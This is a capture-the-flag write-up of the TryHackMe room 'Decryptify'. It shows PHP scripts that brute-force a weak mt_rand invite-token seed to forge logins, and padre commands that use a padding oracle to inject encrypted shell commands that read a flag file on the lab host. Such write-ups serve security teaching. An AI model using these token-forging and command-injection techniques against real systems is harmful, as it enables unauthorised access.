☕
Writeups
TryHackMeHackTheBoxReferralsDonateLinkedIn
  • Writeups
  • TryHackme
    • 2025
      • Hackfinity Battle Vault
      • Security Footage
      • Ledger
      • Moebius
      • Mayhem
      • Robots
      • Billing
      • Crypto Failures
      • Rabbit Store
      • Decryptify
      • You Got Mail
      • Smol
      • Light
      • Lo-Fi
      • Silver Platter
    • 2024
      • Advent of Cyber '24 Side Quest
        • T1: Operation Tiny Frostbite
        • T2: Yin and Yang
        • T3: Escaping the Blizzard
        • T4: Krampus Festival
        • T5: An Avalanche of Web Apps
      • The Sticker Shop
      • Lookup
      • Mouse Trap
      • Hack Back
      • SeeTwo
      • Whiterose
      • Rabbit Hole
      • Mountaineer
      • Extracted
      • Backtrack
      • Brains
      • Pyrat
      • K2
        • Base Camp
        • Middle Camp
        • The Summit
      • The London Bridge
      • Cheese CTF
      • Breakme
      • CERTain Doom
      • TryPwnMe One
      • Hammer
      • U.A. High School
      • IronShade
      • Block
      • Injectics
      • DX2: Hell's Kitchen
      • New York Flankees
      • NanoCherryCTF
      • Publisher
      • W1seGuy
      • mKingdom
      • Airplane
      • Include
      • CyberLens
      • Profiles
      • Whats Your Name?
      • Capture Returns
      • TryHack3M
        • TryHack3M: Burg3r Bytes
        • TryHack3M: Bricks Heist
        • TryHack3M: Sch3Ma D3Mon
        • TryHack3M: Subscribe
      • Creative
      • Bypass
      • Clocky
      • El Bandito
      • Hack Smarter Security
      • Summit
      • Chrome
      • Exfilibur
      • Breaking RSA
      • Kitty
      • Reset
      • Umbrella
      • WhyHackMe
      • Dodge
    • 2023
      • Advent of Cyber '23 Side Quest
        • The Return of the Yeti
        • Snowy ARMageddon
        • Frosteau Busy with Vim
        • The Bandit Surfer
      • Stealth
      • AVenger
      • Dreaming
      • DockMagic
      • Hijack
      • Bandit
      • Compiled
      • Super Secret TIp
      • Athena
      • Mother's Secret
      • Expose
      • Lesson learned?
      • Grep
      • Crylo
      • Forgotten Implant
      • Red
    • Obscure
    • Capture
    • Prioritise
    • Weasel
    • Valley
    • Race Conditions
    • Intranet
    • Flip
    • Cat Pictures 2
    • Red Team Capstone Challenge
      • OSINT
      • Perimeter Breach
      • Initial Compromise of Active Directory
      • Full Compromise of CORP Domain
      • Full Compromise of Parent Domain
      • Full Compromise of BANK Domain
      • Compromise of SWIFT and Payment Transfer
  • HackTheBox
    • 2025
      • Certified
    • 2024
      • BoardLight
      • Crafty
      • Devvortex
      • Surveillance
      • Codify
      • Manager
      • Drive
      • Zipping
    • 2023
      • Topology
Powered by GitBook
On this page
  • Recon
  • Web Access
  • API Access
  • Logs
  • Reversing Token Generation
  • File Read
  • Padding Oracle
  • Encrypted Command Injection

Was this helpful?

  1. TryHackme
  2. 2025

Decryptify

Use your exploitation skills to uncover encrypted keys and get RCE. - by 1337rce

PreviousRabbit StoreNextYou Got Mail

Last updated 3 months ago

Was this helpful?

The following post by 0xb0b is licensed under


Recon

We start with an nmap scan and find two open ports. We have SSH on port 22 and a web server on port 1337.

We visit the page on port 1337 and have a login page in front of us. We can log in using a username and invite code or mail and invite code. Furthermore, we also discover a link to the API documentation.

Unfortunately, the API documentation is password protected.

We use Feroxbuster for a recursive directory scan and find some interesting directories and pages...

Including http://decryptify.thm:1337/js/api.js, looks like some Javascript for the API documentation.

http://decryptify.thm:1337/js/api.js

However, this is obfuscated.

Web Access

API Access

We use beautifier.io to counteract some of the obfuscation.

It is noticeable here that the functions are called one after the other through their dependencies using the call j(0x169). Maybe this is how we get the password for the API documentation.

api.js
function b(c, d) {
    const e = a();
    return b = function(f, g) {
        f = f - 0x165;
        let h = e[f];
        return h;
    }, b(c, d);
}
const j = b;

function a() {
    const k = ['16OTYqOr', '861cPVRNJ', '474AnPRwy', 'H7gY2tJ9wQzD4rS1', '5228dijopu', '29131EDUYqd', '8756315tjjUKB', '1232020YOKSiQ', '7042671GTNtXE', '1593688UqvBWv', '90209ggCpyY'];
    a = function() {
        return k;
    };
    return a();
}(function(d, e) {
    const i = b,
        f = d();
    while (!![]) {
        try {
            const g = parseInt(i(0x16b)) / 0x1 + -parseInt(i(0x16f)) / 0x2 + parseInt(i(0x167)) / 0x3 * (parseInt(i(0x16a)) / 0x4) + parseInt(i(0x16c)) / 0x5 + parseInt(i(0x168)) / 0x6 * (parseInt(i(0x165)) / 0x7) + -parseInt(i(0x166)) / 0x8 * (parseInt(i(0x16e)) / 0x9) + parseInt(i(0x16d)) / 0xa;
            if (g === e) break;
            else f['push'](f['shift']());
        } catch (h) {
            f['push'](f['shift']());
        }
    }
}(a, 0xe43f0));
const c = j(0x169);

We insert the obfuscated snippet into our browser console and then call j(0x169). We get a string back from the k array.

We use this as a password at http://decryptify.thm:1337/api.php. And we actually get access! We gain insight into the token generation.

token generation


This function generates a invite_code against a user email.


// Token generation example
function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);

    return $seed_value;
}
     $seed_value = calculate_seed_value($email, $constant_value);
     mt_srand($seed_value);
     $random = mt_rand();
     $invite_code = base64_encode($random);
                            

The token are generated with the following steps:

  • Extract Email Length:

    • The function calculates the length of the given $email string.

  • Convert First 8 Characters of Email to Hex:

    • The function extracts the first 8 characters of $email and converts them to a hexadecimal number using hexdec().

  • Calculate Seed Value:

    • The function adds the email length, a constant value ($constant_value), and the hex-decimal converted value to form a seed.

  • Seed the Random Number Generator:

    • The mt_srand($seed_value) function sets the seed for PHP’s Mersenne Twister (mt_rand()).

  • Generate Random Number:

    • mt_rand() produces a pseudo-random number.

  • Encode in Base64:

    • The generated random number is converted into a Base64 string and used as the invite code.

Predictable Randomness (Weak Seeding)

  • The seed value is deterministic, as it is calculated using the email and a constant value.

  • Given the same email and constant, mt_rand() will always generate the same invite code.

Further information about insecure randomness can be found in the recent release walkthrough room Insecure Randomness:

Logs

From our directory scan using Feroxbuster we also found the following page: http://decryptify.thm:1337/logs/app.log. Here we can see that the users alpha@fake.thm and hello@fake.thm were created. The invite code for alpha@fake.thm is visible, but this user has been deactivated. The invite code for hello@fake.thm is not visible.

http://decryptify.thm:1337/logs/app.log
2025-01-23 14:32:56 - User POST to /index.php (Login attempt)
2025-01-23 14:33:01 - User POST to /index.php (Login attempt)
2025-01-23 14:33:05 - User GET /index.php (Login page access)
2025-01-23 14:33:15 - User POST to /index.php (Login attempt)
2025-01-23 14:34:20 - User POST to /index.php (Invite created, code: MTM0ODMzNzEyMg== for alpha@fake.thm)
2025-01-23 14:35:25 - User GET /index.php (Login page access)
2025-01-23 14:36:30 - User POST to /dashboard.php (User alpha@fake.thm deactivated)
2025-01-23 14:37:35 - User GET /login.php (Page not found)
2025-01-23 14:38:40 - User POST to /dashboard.php (New user created: hello@fake.thm)

Reversing Token Generation

However, we can see with a login attempt that the user hello@fake.thm actually exists.

The steps of token generation can be reversed, as we are in possesion of an e-mail and its corresponding token. So we are able to brute force the constant. With that constant and a given email we are able to predict the token for that email as the seed will be always the same for mt_rand().

Steps to calculate the constant:

  • Decode the invite code → base64_decode($invite_code) to retrieve mt_rand() value.

  • Brute-force possible constant_value:

    • Iterate over a range (0 to 100000).

    • Compute seed_value using guessed constant_value.

    • Check if mt_rand() matches the expected value.

  • Return the correct constant_value when found.

get_constant.php
<?php
function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);
    return $seed_value;
}

function reverse_constant_value($email, $invite_code) {
    // Step 1: Decode Base64 invite code
    $random_value = intval(base64_decode($invite_code));

    // Step 2: Get email components
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));

    // Step 3: Iterate over possible constant values
    for ($constant_value = 0; $constant_value <= 1000000; $constant_value++) {
        $seed_value = hexdec($email_length + $constant_value + $email_hex);

        mt_srand($seed_value);
        if (mt_rand() === $random_value) {
            return $constant_value;
        }
    }
    return "Constant value not found in range.";
}

// Given data
$email = "alpha@fake.thm";
$invite_code = "MTM0ODMzNzEyMg=="; // Base64 encoded value

// Reverse the constant value
$constant_value = reverse_constant_value($email, $invite_code);

echo "Reversed Constant Value: " . $constant_value . PHP_EOL;

With that small script we are able to reverse the constant value:

We now use the php code found in the api documentation with the constant value of 99999 and the email hello@fake.thm to generate its invite token.

get_token.php
<?php

function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);

    return $seed_value;
}

function generate_token($email, $constant_value) {
     $seed_value = calculate_seed_value($email, $constant_value);
     mt_srand($seed_value);
     $random = mt_rand();
     $invite_code = base64_encode($random);

    return $invite_code;
}


$email = "hello@fake.thm";
$token = generate_token($email, 99999);
print $token

?>

With that token, we are able to log in...

... And find the first flag on the dashboard.

File Read

In the source of the dashboard page we find a hidden field with the name date and something base64 encoded as value.

Padding Oracle

Using that parameter without the value reveals us a padding error. So we might be able to pull off a padding oracle attack.

Some more insights about Padding Oracles can be found in the recently released walkthrough room of TryHackMe.

There are some tools like padbuster or padre to pull that attack off. We will use padre.

A similar room with a padding orcale is the New York Flankees room from last year:

We capture a request to retrieve the needed cookies.

Encrypted Command Injection

Next, we want to identify what this base64 is actually and use the padding oracle attack to decrypt that data. Running padre with the value in the source, we see date +%Y command is being issued, giving the current year in the footer.

./padre-linux-amd64 -cookie 'PHPSESSID=REDACTED; role=REDACTED' -u 'http://decryptify.thm:1337/dashboard.php?date=$' 'P6HqVqxBsuk77Gu7l8M+RrsLU8qI48mSEoqaOYAW1+Y='

Now we use the padding oracle to encrypt our own command, for this we chose id.

./padre-linux-amd64 -cookie 'PHPSESSID=REDACTED; role=REDACTED' -u 'http://decryptify.thm:1337/dashboard.php?date=$' -enc 'id'

We pass the encrypted output as a value for the date parameter and see, that we are able to issue arbitrary commands.

Next, we want to run the command cat /home/ubuntu/flag.txt to read the final flag.

./padre-linux-amd64 -cookie 'PHPSESSID=REDACTED; role=REDACTED' -u 'http://decryptify.thm:1337/dashboard.php?date=$' -enc "cat /home/ubuntu/flag.txt"

We pass the output of padre for the date parameter and are able to read the final flag.

http://decryptify.thm:1337/dashboard.php?date=REDACTED

Padding oracle attacks happen when an application reveals whether the padding in encrypted data is correct or not through detailed error messages or variations in response time. Attackers can exploit these slight clues to figure out the original data without the encryption key. This attack targets encryption methods like Cipher Block Chaining (CBC), which uses padding to handle data of different lengths. The padding oracle attack is named because the server acts as an "oracle" by providing feedback on whether the padding in the ciphertext is valid. []

https://tryhackme.com/room/paddingoracles
CC BY 4.0
TryHackMe | Cyber Security TrainingTryHackMe
Online JavaScript beautifier
TryHackMe | Cyber Security TrainingTryHackMe
TryHackMe | Cyber Security TrainingTryHackMe
GitHub - glebarez/padre: Blazing fast, advanced Padding Oracle exploitGitHub
New York Flankees | Writeups
Logo
Logo
Logo
Logo
Logo
Logo